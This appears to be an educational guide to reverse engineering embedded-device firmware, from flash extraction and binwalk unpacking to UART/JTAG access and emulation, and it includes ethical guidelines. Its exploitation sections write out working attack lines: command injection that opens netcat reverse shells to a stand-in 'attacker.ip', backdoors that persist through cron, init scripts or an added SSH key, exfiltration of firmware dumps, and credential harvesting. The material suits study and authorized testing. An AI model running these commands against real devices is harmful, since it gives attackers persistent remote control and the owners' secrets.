Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

Firmware Reverse Engineering

Purpose: Comprehensive guide to extracting, analyzing, and exploiting firmware from embedded devices (routers, IoT devices, cameras, smart home devices) for security research and vulnerability discovery.


Table of Contents

  1. Overview
  2. Firmware Acquisition
  3. Firmware Analysis
  4. Filesystem Extraction
  5. Binary Analysis
  6. Hardware Interfaces
  7. Emulation & Dynamic Analysis
  8. Common Vulnerabilities
  9. Exploitation Techniques
  10. Tools Reference

Overview

What is Firmware?

Firmware is software embedded in hardware devices that controls device functionality. Unlike desktop software, firmware:

  • Runs on resource-constrained embedded processors (ARM, MIPS, PowerPC)
  • Often uses custom Linux distributions (embedded Linux, BusyBox)
  • May use Real-Time Operating Systems (RTOS) or bare-metal code
  • Stored in non-volatile memory (flash, EEPROM, ROM)

Common embedded devices:

  • Network devices: Routers, switches, access points, firewalls
  • IoT devices: Smart cameras, door locks, thermostats, light bulbs
  • Industrial control: PLCs (Programmable Logic Controllers), SCADA systems
  • Consumer electronics: Smart TVs, set-top boxes, printers
  • Automotive: Car infotainment systems, ECUs (Engine Control Units)

Why Reverse Firmware?

Security research:

  • Discover vulnerabilities (command injection, authentication bypass, hardcoded credentials)
  • Analyze encryption implementations
  • Understand attack surface before pentesting

Compatibility & interoperability:

  • Reverse proprietary protocols
  • Enable third-party firmware (OpenWrt, DD-WRT)

Forensics:

  • Recover deleted data from devices
  • Analyze malware on IoT devices
  • Incident response for compromised embedded systems

Threat Model

Attacker capabilities:

  • Remote attacker: Network access only (web interface, network services)
  • Local network attacker: LAN access (MITM, spoofing)
  • Physical access: UART/JTAG debugging, firmware extraction, hardware modification
  • Insider threat: Supply chain attacks, malicious firmware updates

Common attack vectors:

  • Unauthenticated web interfaces
  • Default/hardcoded credentials
  • Command injection in web parameters
  • Buffer overflows in network services
  • Insecure firmware update mechanisms

Legal risks:

  • DMCA Section 1201 (US): Prohibits circumventing access controls (encryption, code signing)
  • CFAA: Unauthorized access to computer systems
  • Warranty void: Hardware modification may void warranties
  • Responsible disclosure: Report vulnerabilities to vendors before public disclosure

Ethical guidelines:

  • ✅ Security research on devices you own
  • ✅ Responsible vulnerability disclosure (CVE, vendor coordination)
  • ✅ Improving device security (custom firmware, patches)
  • ❌ Attacking devices you don't own without authorization
  • ❌ Weaponizing vulnerabilities for malicious purposes

Firmware Acquisition

Method 1: Download from Vendor Website

Easiest method - many vendors provide firmware updates for download.

Finding firmware:

# Google search:
site:vendor.com "firmware update" "download"

# Example (TP-Link router):
# https://www.tp-link.com/us/support/download/

# Download firmware:
wget https://static.tp-link.com/...firmware.bin

# Verify hash (if vendor provides):
sha256sum firmware.bin
# Compare with vendor-provided SHA-256 hash

Firmware update file types:

  • .bin - Raw binary image
  • .img - Disk image
  • .zip / .tar.gz - Compressed archive
  • .trx - TRX firmware format (Broadcom routers)
  • .chk - Netgear firmware format
  • Vendor-specific formats (encrypted or obfuscated)

Method 2: Intercept Firmware Update

If vendor doesn't provide direct download, intercept update traffic.

Setup:

# Wireshark capture during firmware update:
# 1. Start Wireshark on network interface
# 2. Filter: http or dns
# 3. Trigger firmware update from device web interface
# 4. Look for HTTP GET/POST to download URL

# Example captured URL:
# http://update.vendor.com/firmware/device_v1.2.3.bin

# Download:
wget http://update.vendor.com/firmware/device_v1.2.3.bin

HTTPS interception (if update is encrypted):

# Use Burp Suite or mitmproxy as HTTPS proxy:
# 1. Configure device to use proxy (if possible)
# 2. Install proxy CA certificate on device (if possible)
# 3. Capture firmware download URL

# If device validates certificate (common), this won't work
# Fall back to hardware extraction

Method 3: Extract from Flash Memory (Hardware)

Required when:

  • Vendor doesn't provide firmware
  • Firmware is encrypted during updates
  • Need to analyze modified/infected firmware

Hardware required:

  • Flash programmer: Bus Pirate, CH341A USB programmer, Raspberry Pi
  • Chip clip or soldering iron: To connect to flash chip
  • Multimeter: To identify voltage levels

Common flash memory types:

TypeInterfaceCapacityCommon Use
SPI Flash (25-series)SPI (4-8 pins)1-128 MBRouters, IoT
NAND FlashParallel128 MB - 32 GBSmartphones, tablets
eMMCMMC interface4-256 GBAndroid devices, embedded Linux
I2C EEPROM (24-series)I2C (2 pins)1-512 KBSmall devices, config storage

Extracting SPI flash (most common):

Step 1: Identify flash chip

# Open device, locate flash chip on PCB
# Common SPI flash chips: Winbond W25Q64, Macronix MX25L, Spansion S25FL

# Example chip markings:
# Winbold
# 25Q64FVSIG
# 1234567890 (date code)

# Datasheet: Google "W25Q64 datasheet"
# Pinout (SOIC-8):
# Pin 1: /CS (Chip Select)
# Pin 2: DO (Data Out / MISO)
# Pin 3: /WP (Write Protect)
# Pin 4: GND
# Pin 5: DI (Data In / MOSI)
# Pin 6: CLK (Clock)
# Pin 7: /HOLD
# Pin 8: VCC (3.3V)

Step 2: Connect flash programmer

Using CH341A USB programmer:

# CH341A wiring to SPI flash (SOIC-8):
# CH341A | SPI Flash Pin | Function
# --------- | ------------- | --------
# VCC (3.3V)| Pin 8 | Power
# GND | Pin 4 | Ground
# CS | Pin 1 | Chip Select
# MISO | Pin 2 | Data Out
# MOSI | Pin 5 | Data In
# CLK | Pin 6 | Clock

# Option 1: Use chip clip (no soldering)
# Attach SOIC-8 clip to chip while on PCB

# Option 2: Desolder chip (more reliable)
# Use hot air station or soldering iron
# Place chip in ZIF socket on CH341A programmer

Step 3: Read flash memory

# Linux: Install flashrom
sudo apt install flashrom

# Detect flash chip:
sudo flashrom -p ch341a_spi

# Output:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.

# Read flash (3 times to verify integrity):
sudo flashrom -p ch341a_spi -r firmware1.bin
sudo flashrom -p ch341a_spi -r firmware2.bin
sudo flashrom -p ch341a_spi -r firmware3.bin

# Verify all reads are identical (compare hashes):
sha256sum firmware*.bin
# All three should have same hash

# Use firmware1.bin for analysis

Using Raspberry Pi as SPI programmer:

# Enable SPI on Raspberry Pi:
sudo raspi-config
# Interfacing Options → SPI → Enable

# Wiring (Raspberry Pi GPIO to SPI flash):
# RPi GPIO | SPI Flash Pin | Function
# --------- | ------------- | --------
# Pin 1 (3.3V) | Pin 8 | Power
# Pin 6 (GND) | Pin 4 | Ground
# Pin 24 (CE0) | Pin 1 | Chip Select
# Pin 21 (MISO)| Pin 2 | Data Out
# Pin 19 (MOSI)| Pin 5 | Data In
# Pin 23 (SCLK)| Pin 6 | Clock

# Read flash:
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.bin

Method 4: UART/Serial Console Extraction

If device has UART debug console, you may be able to dump firmware.

# Connect to UART (see Hardware Interfaces section)
# Common UART commands (BusyBox/Linux):

# Dump entire flash partition:
dd if=/dev/mtd0 | nc <attacker_ip> 1234

# On attacker machine:
nc -l -p 1234 > firmware.bin

# Or use base64 encoding (if binary transfer fails):
dd if=/dev/mtd0 | base64
# Copy output, decode on attacker machine:
base64 -d > firmware.bin

Firmware Analysis

Initial Triage

Determine firmware type and architecture:

# File type detection:
file firmware.bin
# Output examples:
# - "data" (raw binary, compressed, or encrypted)
# - "ELF 32-bit LSB executable, ARM" (Linux kernel or application)
# - "gzip compressed data" (compressed filesystem)
# - "Squashfs filesystem" (embedded filesystem)

# Binwalk: Identify embedded files/filesystems
binwalk firmware.bin

# Output:
# DECIMAL HEXADECIMAL DESCRIPTION
# --------------------------------------------------------------------------------
# 0 0x0 TRX firmware header
# 28 0x1C LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian, version 4.0
# 5242880 0x500000 JFFS2 filesystem, little endian

# Entropy analysis (detect encryption):
binwalk -E firmware.bin
# High entropy (close to 1.0) = encrypted or compressed
# Low entropy = uncompressed data

# Strings analysis (look for clues):
strings firmware.bin | grep -i "version\|copyright\|password\|root"

Identify architecture:

# Look for ELF binaries in firmware (after extraction):
file bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1

# Common embedded architectures:
# - ARM (32-bit: ARMv7, 64-bit: ARMv8/AArch64)
# - MIPS (32-bit: MIPS32, 64-bit: MIPS64)
# - PowerPC (PPC)
# - x86/x64 (less common in embedded)

Firmware Unpacking

Automated unpacking with binwalk:

# Extract all embedded files/filesystems:
binwalk -e firmware.bin

# Output directory: _firmware.bin.extracted/
# Contains extracted filesystems, compressed data, etc.

# Navigate to extracted filesystem:
cd _firmware.bin.extracted/squashfs-root/
ls -la
# Output: bin/ etc/ lib/ sbin/ usr/ var/ www/

Manual unpacking (if binwalk fails):

# Example: SquashFS at offset 0x100000
# Extract with dd and unsquashfs:

dd if=firmware.bin bs=1 skip=$((0x100000)) of=filesystem.squashfs
unsquashfs filesystem.squashfs

# Output: squashfs-root/

# Example: JFFS2 filesystem
dd if=firmware.bin bs=1 skip=$((0x500000)) of=filesystem.jffs2

# Mount JFFS2 (requires mtd-utils):
sudo modprobe mtdblock
sudo modprobe mtdram total_size=32768 erase_size=256
sudo dd if=filesystem.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2

Handling encrypted firmware:

# Encryption detection:
binwalk -E firmware.bin
# High entropy across entire file = likely encrypted

# Decryption strategies:
# 1. Find decryption key in device memory (UART shell, if available)
# 2. Reverse firmware update process (find decryption routine in bootloader/updater)
# 3. Extract key from device flash (may be stored separately)
# 4. Hardware attacks (fault injection, side-channel analysis)

# Example: Find AES key in memory dump
strings memory_dump.bin | grep -E "^[0-9a-fA-F]{32}$" # 128-bit AES key (hex)

Filesystem Extraction

Analyzing Extracted Filesystem

Key directories in embedded Linux:

# Navigate to extracted filesystem:
cd squashfs-root/

# Directory structure:
bin/ # Essential binaries (busybox, sh)
sbin/ # System binaries (init, ifconfig)
etc/ # Configuration files (passwd, shadow, init scripts)
lib/ # Shared libraries (libc, libpthread)
usr/ # User programs and libraries
var/ # Variable data (logs, tmp files)
www/ # Web server files (HTML, CGI scripts)
dev/ # Device files (usually empty in filesystem image)
proc/ # Process info (mounted at runtime)
tmp/ # Temporary files

Searching for Sensitive Information

Hardcoded credentials:

# Search for passwords in configuration files:
grep -r "password\|passwd\|pwd" etc/

# Common files with credentials:
cat etc/passwd # User accounts
cat etc/shadow # Password hashes (if present)
cat etc/config/* # Vendor-specific config files

# Example (TP-Link router):
cat etc/config/account
# username=admin
# password=21232f297a57a5a743894a0e4a801fc3 (MD5 hash of "admin")

# Search for API keys, tokens:
grep -r "api_key\|token\|secret" etc/ www/

Backdoor accounts:

# Check for hidden admin accounts:
cat etc/passwd | grep -v "^#"

# Example backdoor:
# debug:x:0:0:Debug User:/root:/bin/sh (UID 0 = root)

# Check for SSH authorized_keys:
find . -name "authorized_keys" -exec cat {} \;

Encryption keys:

# Search for SSL/TLS private keys:
find . -name "*.pem" -o -name "*.key"

# Example:
cat etc/ssl/private/server.key
# -----BEGIN RSA PRIVATE KEY-----
# ...

Configuration files:

# Web server config:
cat etc/httpd.conf
cat etc/lighttpd/lighttpd.conf

# Telnet/SSH config:
cat etc/inetd.conf
cat etc/dropbear/dropbear_rsa_host_key

# Wireless config (routers):
cat etc/config/wireless
# Contains WiFi passwords, security settings

Web Application Files

Analyzing web interfaces:

# Web root (common locations):
cd www/
# or
cd usr/www/
# or
cd home/httpd/

# Identify web server:
ps aux | grep httpd
# Common embedded web servers: lighttpd, boa, goahead, thttpd

# Analyze CGI scripts (common vulnerability source):
find www/ -name "*.cgi" -o -name "*.sh"

# Example CGI script:
cat www/cgi-bin/login.cgi

CGI command injection example:

# Vulnerable CGI script (login.cgi):
#!/bin/sh
USERNAME=$1
PASSWORD=$2

# Vulnerable: unsanitized input passed to system command
/usr/bin/check_password $USERNAME $PASSWORD

# Exploitation (command injection via username parameter):
# http://router.ip/cgi-bin/login.cgi?username=admin;reboot;&password=pass
# Result: Router reboots due to injected "reboot" command

Binary Analysis

Analyzing Embedded Binaries

Common binary types:

  • BusyBox: Single binary with multiple utilities (ls, cat, wget, etc.)
  • Custom daemons: httpd, telnetd, dropbear (SSH), etc.
  • Proprietary applications: Vendor-specific services

Disassembly tools:

# For ARM/MIPS binaries, use:
# - Ghidra (supports ARM, MIPS, PowerPC)
# - IDA Pro (commercial, excellent ARM/MIPS support)
# - Radare2 (free, supports many architectures)

# Example: Analyze httpd binary in Ghidra
# 1. Load bin/httpd in Ghidra
# 2. Select architecture: ARM:LE:32:v7 (or MIPS:LE:32:default)
# 3. Analyze with default settings

Finding vulnerabilities in binaries:

1. Stack buffer overflows:

// Vulnerable code (decompiled from httpd):
void handle_request(char *request) {
char buffer[256];
strcpy(buffer, request); // No bounds checking!
process_request(buffer);
}

// Exploitation: Send request > 256 bytes to overflow buffer

2. Format string vulnerabilities:

// Vulnerable code:
void log_message(char *user_input) {
syslog(LOG_INFO, user_input); // User input directly in format string!
}

// Exploitation:
// Input: "%x %x %x %x" -> Leak stack memory
// Input: "%n" -> Write to arbitrary memory

3. Command injection:

// Vulnerable code (CGI script analysis):
void ping_host(char *ip) {
char cmd[512];
sprintf(cmd, "ping -c 1 %s", ip); // Unsanitized input!
system(cmd);
}

// Exploitation:
// Input: "8.8.8.8; cat /etc/shadow"
// Executed command: "ping -c 1 8.8.8.8; cat /etc/shadow"

Cross-Compilation for Testing

Set up cross-compiler:

# Install ARM cross-compiler (for ARM targets):
sudo apt install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi

# Compile exploit:
arm-linux-gnueabi-gcc exploit.c -o exploit -static

# Install MIPS cross-compiler (for MIPS targets):
sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu

# Compile for MIPS:
mipsel-linux-gnu-gcc exploit.c -o exploit -static

Hardware Interfaces

UART (Universal Asynchronous Receiver/Transmitter)

UART is a serial debug console, often exposed on PCB test points.

Finding UART pins:

# Visual inspection:
# Look for 3-4 pins labeled: TX, RX, GND, (VCC)
# Often located near main processor or edge of PCB

# Common UART pin configurations:
# 4-pin: VCC, TX, RX, GND
# 3-pin: TX, RX, GND (most common)

# Pin identification (if not labeled):
# 1. GND: Use multimeter continuity test to ground (e.g., USB shield)
# 2. VCC: Measure voltage with multimeter (3.3V or 5V when device powered)
# 3. TX: Voltage fluctuates during boot (transmits data)
# 4. RX: Voltage stable (receives data, safe to probe)

UART connection:

# Hardware required:
# - USB-to-UART adapter (FTDI FT232, CP2102, PL2303)
# - Jumper wires
# - Multimeter (to identify pins)

# Wiring (device UART to USB adapter):
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
# (Do NOT connect VCC unless necessary - power device separately)

# Determine baud rate (common: 115200, 57600, 38400, 9600)
# Try common baud rates in minicom/screen

# Linux: Connect via screen
screen /dev/ttyUSB0 115200

# Or use minicom:
sudo minicom -D /dev/ttyUSB0 -b 115200

# Windows: Use PuTTY or TeraTerm
# Serial, COM3, 115200 baud, 8N1

UART baud rate detection (if unknown):

# Use logic analyzer or oscilloscope to measure bit timing
# Or try common rates:
for baud in 9600 19200 38400 57600 115200 230400; do
echo "Trying baud rate: $baud"
screen /dev/ttyUSB0 $baud
# Press Enter, look for readable output
# Ctrl+A, K to exit
done

UART shell access:

# Best case: Get root shell directly
# Output during boot:
# ...
# BusyBox v1.28.4 (2023-01-01 12:00:00 UTC) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
#
# / # (root shell!)

# Commands to run:
cat /proc/cpuinfo # CPU architecture
cat /proc/mtd # Flash partitions
cat /proc/cmdline # Kernel boot parameters
ifconfig # Network configuration
ps aux # Running processes
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes (if readable)

# Dump firmware from UART:
dd if=/dev/mtd0 | nc <attacker_ip> 1234

Bypassing authentication (if UART is password-protected):

# Method 1: Interrupt bootloader (U-Boot)
# Power on device, press Ctrl+C or Enter repeatedly during boot
# Drop into U-Boot shell:
# U-Boot>

# Common U-Boot commands:
printenv # Show environment variables
setenv bootargs "init=/bin/sh" # Boot directly to shell (bypass init)
boot # Boot with modified parameters

# Method 2: Edit kernel cmdline
setenv bootargs "console=ttyS0,115200 init=/bin/sh"
saveenv
boot

# Method 3: Single-user mode
setenv bootargs "console=ttyS0,115200 single"
boot

JTAG (Joint Test Action Group)

JTAG is a hardware debugging interface (more powerful than UART).

JTAG capabilities:

  • Full CPU control (set breakpoints, single-step execution)
  • Memory read/write (dump firmware, modify RAM)
  • Flash programming (write new firmware)

Finding JTAG pins:

# Common JTAG pin configurations:
# - 20-pin ARM JTAG (standard)
# - 14-pin JTAG (compact)
# - 10-pin Cortex Debug (ARM Cortex-M)
# - 5-pin JTAG (minimal: TDI, TDO, TMS, TCK, GND)

# Pin identification (if not labeled):
# Use JTAGulator or manual probing:
# https://github.com/grandideastudio/jtagulator

# Common pins:
# TDI - Test Data In
# TDO - Test Data Out
# TMS - Test Mode Select
# TCK - Test Clock
# TRST - Test Reset (optional)
# GND - Ground

JTAG connection (using Bus Pirate or J-Link):

# Using OpenOCD (Open On-Chip Debugger):
sudo apt install openocd

# Example config (ARM device):
# openocd.cfg:
interface jlink
transport select jtag
adapter speed 1000
jtag newtap chip cpu -irlen 4 -expected-id 0x07926041
target create chip.cpu arm926ejs -chain-position chip.cpu

# Connect:
sudo openocd -f openocd.cfg

# In another terminal (telnet to OpenOCD):
telnet localhost 4444

# OpenOCD commands:
halt # Stop CPU
reg # Show registers
mdw 0x00000000 256 # Memory dump (256 words from 0x0)
dump_image firmware.bin 0x00000000 0x800000 # Dump 8MB from flash
reset # Reset device

SPI (Serial Peripheral Interface)

See Firmware Acquisition → Extract from Flash Memory for SPI flash extraction.


Emulation & Dynamic Analysis

QEMU User-Mode Emulation

Emulate individual binaries (faster than full system emulation).

# Install QEMU user-mode:
sudo apt install qemu-user qemu-user-static

# Copy ARM/MIPS binary from firmware:
cp squashfs-root/bin/httpd .

# Run ARM binary on x86 host:
qemu-arm -L squashfs-root/ ./httpd

# -L: Specify library path (extracted filesystem)

# Run with strace (trace system calls):
qemu-arm -L squashfs-root/ -strace ./httpd

# Run MIPS binary:
qemu-mipsel -L squashfs-root/ ./httpd

Debugging with GDB:

# Run binary in QEMU with GDB server:
qemu-arm -L squashfs-root/ -g 1234 ./httpd

# In another terminal, attach GDB:
gdb-multiarch ./httpd
(gdb) target remote localhost:1234
(gdb) break main
(gdb) continue

QEMU System Emulation

Emulate entire device (router, IoT device).

# Extract kernel and filesystem from firmware:
binwalk -e firmware.bin

# Identify kernel:
file _firmware.bin.extracted/*
# Example: _firmware.bin.extracted/1C: Linux kernel ARM boot executable zImage

# Extract kernel (if compressed):
binwalk -e _firmware.bin.extracted/1C

# Run in QEMU (ARM example):
qemu-system-arm \
-M versatilepb \
-kernel vmlinux \
-initrd filesystem.cpio \
-append "root=/dev/ram console=ttyAMA0" \
-nographic

# Common QEMU machine types:
# -M versatilepb (ARM)
# -M malta (MIPS)
# -M virt (generic ARM/MIPS)

Firmadyne (Automated Firmware Emulation)

Firmadyne automates firmware emulation and vulnerability testing.

# Install Firmadyne:
git clone https://github.com/firmadyne/firmadyne.git
cd firmadyne
./download.sh # Download pre-built binaries

# Setup database:
sudo apt install postgresql
sudo -u postgres createuser -P firmadyne # Set password
sudo -u postgres createdb -O firmadyne firmware

# Import firmware database:
psql -d firmware -U firmadyne < ./database/schema

# Analyze firmware:
./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk firmware.bin images

# Emulate firmware:
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1
./scripts/inferNetwork.sh 1
./scripts/run.sh 1

# Access emulated device:
# Network: 192.168.0.1 (or as detected)
# Web interface: http://192.168.0.1/

FAT (Firmware Analysis Toolkit)

FAT is a wrapper around Firmadyne with additional features.

# Install FAT:
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh

# Run analysis:
./fat.py firmware.bin

# Output:
# - Extracts firmware
# - Emulates in QEMU
# - Runs vulnerability scanners (Nmap, Nessus)
# - Generates report

Common Vulnerabilities

Authentication Bypass

Hardcoded credentials:

# Found in etc/passwd or config files:
# Username: admin
# Password: admin (or default password)

# MD5 hash in config:
# password=21232f297a57a5a743894a0e4a801fc3
# Crack with hashcat:
hashcat -m 0 -a 0 hash.txt rockyou.txt
# Result: admin

Backdoor accounts:

# etc/passwd entry:
debug:x:0:0:Debug:/root:/bin/sh

# Login via telnet/SSH:
telnet 192.168.1.1
# Username: debug
# Password: (empty or default)

Authentication logic flaws:

// Vulnerable authentication (decompiled from httpd):
if (strcmp(username, "admin") == 0) {
if (strcmp(password, stored_password) == 0) {
authenticated = 1;
}
}

// Bypass: If username != "admin", authentication check is skipped
// Exploit: Use any username except "admin" (no password needed)

Command Injection

CGI parameter injection:

# Vulnerable CGI script (/cgi-bin/ping.cgi):
#!/bin/sh
IP=$QUERY_STRING
ping -c 1 $IP > /tmp/ping.txt
cat /tmp/ping.txt

# Exploitation:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;id"
# Executed command: ping -c 1 8.8.8.8;id
# Output: uid=0(root) gid=0(root) groups=0(root)

# Reverse shell:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;nc%20-e%20/bin/sh%20attacker.ip%201234"

HTTP header injection:

// Vulnerable code:
void handle_user_agent(char *user_agent) {
char cmd[512];
sprintf(cmd, "echo %s >> /tmp/log", user_agent);
system(cmd);
}

// Exploitation (User-Agent header):
User-Agent: test; cat /etc/shadow > /tmp/shadow.txt

Buffer Overflows

Stack-based overflow:

// Vulnerable code (httpd):
void process_url(char *url) {
char buffer[256];
strcpy(buffer, url); // No bounds checking
// ...
}

// Exploitation (send long URL):
# Python exploit:
payload = b"A" * 300
requests.get(f"http://router.ip/{payload}")
# Result: Crash (or RCE with proper exploit)

Insecure Firmware Updates

Unsigned firmware updates:

# Firmware update without signature verification
# Attacker can upload malicious firmware

# Exploitation:
# 1. Modify legitimate firmware (inject backdoor)
# 2. Upload modified firmware via web interface
# 3. Device installs malicious firmware

Firmware downgrade attacks:

# If device allows downgrade to older, vulnerable firmware:
# 1. Upload old firmware with known vulnerabilities
# 2. Exploit old vulnerabilities

Weak Cryptography

Hardcoded encryption keys:

# Found in binary or config:
AES_KEY = "1234567890ABCDEF1234567890ABCDEF"

# Use key to decrypt firmware or communications

Weak password hashing:

# MD5 hashed passwords (etc/shadow):
admin:21232f297a57a5a743894a0e4a801fc3:0:0::/root:/bin/sh

# Crack with hashcat:
hashcat -m 0 hash.txt rockyou.txt

Exploitation Techniques

Gaining Shell Access

Method 1: Command injection

# Find injectable parameter (ping, traceroute, etc.)
# Inject reverse shell:
nc -e /bin/sh attacker.ip 1234

# Or use Metasploit web_delivery:
msfconsole
use exploit/multi/script/web_delivery
set target 7 # Python
set payload linux/mipsle/shell_reverse_tcp # Adjust for architecture
set lhost attacker.ip
run

# Inject generated command via vulnerable CGI parameter

Method 2: Telnet/SSH with extracted credentials

# Found in etc/passwd:
# root:x:0:0::/root:/bin/sh

# Found in etc/shadow:
# root:$1$xyz...:0:0::/root:/bin/sh

# Crack hash or use default password
# Login via telnet:
telnet router.ip
# root / &lt;password&gt;

Method 3: UART shell

# Connect to UART (see Hardware Interfaces section)
# Interrupt boot, modify bootargs to spawn shell:
setenv bootargs "init=/bin/sh"
boot

Persistence Mechanisms

Method 1: Modified firmware

# Extract firmware, add backdoor, repack, upload

# Example: Add SSH authorized_key
echo "ssh-rsa AAAA... attacker@host" >> squashfs-root/etc/dropbear/authorized_keys

# Repack squashfs:
mksquashfs squashfs-root/ filesystem_modified.squashfs -comp xz

# Rebuild firmware image:
# (depends on firmware format - TRX, BIN, etc.)

# Upload modified firmware via web interface or TFTP

Method 2: Cron job

# Add cron job (if device supports cron):
echo "*/5 * * * * nc attacker.ip 1234 -e /bin/sh" >> /etc/crontabs/root

# Make persistent (if filesystem is writable):
# Mount root filesystem as RW, modify, sync
mount -o remount,rw /
echo "*/5 * * * * nc attacker.ip 1234 -e /bin/sh" >> /etc/crontabs/root
sync

Method 3: Init script

# Add backdoor to init script:
echo "nc attacker.ip 1234 -e /bin/sh &" >> /etc/init.d/rcS

# Make persistent:
mount -o remount,rw /
sync

Post-Exploitation

Network pivoting:

# Use compromised router as pivot point:
# Route traffic through router to access internal network

# Setup SOCKS proxy (if device has netcat/socat):
ssh -D 8080 root@router.ip

# Or use Metasploit pivot:
msfconsole
use post/multi/manage/autoroute
set session 1
run

Extracting sensitive data:

# Wireless credentials:
cat /etc/config/wireless
# Contains WPA/WPA2 passwords

# VPN credentials:
cat /etc/config/vpn

# SNMP community strings:
cat /etc/config/snmpd

# Firmware encryption keys:
find / -name "*.key" -o -name "*.pem"

Tools Reference

Firmware Analysis Tools

ToolPurposePlatform
binwalkFirmware extraction, entropy analysisLinux, macOS
firmware-mod-kitFirmware unpacking/repackingLinux
jeffersonJFFS2 filesystem extractorLinux
sasquatchSquashFS extractor (supports all versions)Linux
ubi_readerUBI/UBIFS filesystem extractorLinux
cramfsckCramFS extractorLinux
firmware-analysis-toolkit (FAT)Automated firmware analysisLinux
FirmadyneAutomated firmware emulationLinux
FACTFirmware Analysis and Comparison ToolLinux (web-based)

Hardware Tools

ToolPurposeCost
Bus PirateMulti-protocol hardware tool (SPI, I2C, UART, JTAG)~$35
CH341AUSB SPI flash programmer~$5
FT232USB to UART adapter~$5
J-LinkJTAG debugger (ARM)$60-400
Raspberry PiMulti-purpose (SPI programmer, JTAG, GPIO)$35-75
Logic AnalyzerProtocol analysis (Saleae Logic, etc.)$100-500
JTAGulatorJTAG pin identification$150

Emulation & Debugging

ToolPurpose
QEMUCPU emulation (ARM, MIPS, PowerPC, etc.)
FirmadyneAutomated firmware emulation framework
firmware-analysis-toolkitWrapper for Firmadyne
ARM-XARM firmware emulation framework
OpenOCDJTAG debugging
GDB-multiarchMulti-architecture debugger

Binary Analysis

ToolPurpose
GhidraDisassembler/decompiler (ARM, MIPS support)
IDA ProCommercial disassembler (best ARM/MIPS support)
Radare2Open-source RE framework
angrBinary analysis framework (symbolic execution)

Exploitation

ToolPurpose
MetasploitExploitation framework
pwntoolsExploit development (Python)
Burp SuiteWeb application testing
NmapNetwork scanning (identify open ports/services)

Utilities

# Essential command-line tools:
sudo apt install \
binwalk \
firmware-mod-kit \
squashfs-tools \
mtd-utils \
cramfsprogs \
flashrom \
openocd \
qemu-user-static \
qemu-system-arm \
qemu-system-mips \
gdb-multiarch \
python3-pip

# Python tools:
pip3 install binwalk python-lzo

Practical Workflows

Workflow 1: Router Firmware Analysis

Scenario: Analyze TP-Link router firmware for vulnerabilities.

Step 1: Acquire firmware

wget https://static.tp-link.com/.../ArcherC7v5_us_firmware.bin

Step 2: Extract filesystem

binwalk -e ArcherC7v5_us_firmware.bin
cd _ArcherC7v5_us_firmware.bin.extracted/squashfs-root/

Step 3: Search for vulnerabilities

# Hardcoded credentials:
grep -r "password" etc/

# Web vulnerabilities:
find www/ -name "*.cgi" -exec grep -l "system(" {} \;

# Example: /www/cgi-bin/admin.cgi calls system() with user input

Step 4: Test exploit

# Emulate firmware (Firmadyne or QEMU)
# Access web interface: http://192.168.0.1/
# Test command injection:
curl "http://192.168.0.1/cgi-bin/admin.cgi?cmd=;id"

Step 5: Report vulnerability

# Responsible disclosure to TP-Link
# CVE request

Workflow 2: IoT Camera Firmware Extraction

Scenario: Extract firmware from Wyze camera via UART.

Step 1: Open device, identify UART

# Locate 4-pin header (TX, RX, GND, VCC)
# Use multimeter to identify GND (continuity to USB shield)

Step 2: Connect UART adapter

# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND

Step 3: Determine baud rate

# Try 115200 baud:
screen /dev/ttyUSB0 115200

# Press Enter, look for readable output
# If garbage, try other baud rates

Step 4: Access shell

# Power on device, interrupt boot:
# Press Ctrl+C during U-Boot countdown

# Modify boot parameters:
setenv bootargs "init=/bin/sh"
boot

# Now have root shell

Step 5: Dump firmware

# Identify flash partitions:
cat /proc/mtd

# Dump firmware:
dd if=/dev/mtd0 | nc attacker.ip 1234

# On attacker machine:
nc -l -p 1234 > firmware.bin

Workflow 3: Smart Thermostat Privilege Escalation

Scenario: Escalate from web user to root shell.

Step 1: Analyze web application

# Extract firmware, navigate to web root:
cd squashfs-root/www/

# Find authentication mechanism:
grep -r "login" *.php *.cgi

Step 2: Identify command injection

# Vulnerable CGI: /cgi-bin/settings.cgi
# Parameter "temp" is passed to system():
system("echo $QUERY_STRING > /tmp/temp.txt");

# Test injection:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;id"

Step 3: Gain shell

# Reverse shell:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;nc%20-e%20/bin/sh%20attacker.ip%201234"

# On attacker machine:
nc -l -p 1234
# Got root shell!

Learning Resources

Documentation

Books

  • The Hardware Hacker by Andrew "bunnie" Huang
  • Practical IoT Hacking by Fotios Chantzis et al.
  • Hardware Hacking Projects for Geeks by Scott Fullam

Online Courses

  • Hardware Hacking (SANS SEC562)
  • IoT Penetration Testing (eLearnSecurity)
  • Offensive IoT Exploitation by Attify

Practice Labs


Analysis:

Pentesting & Security: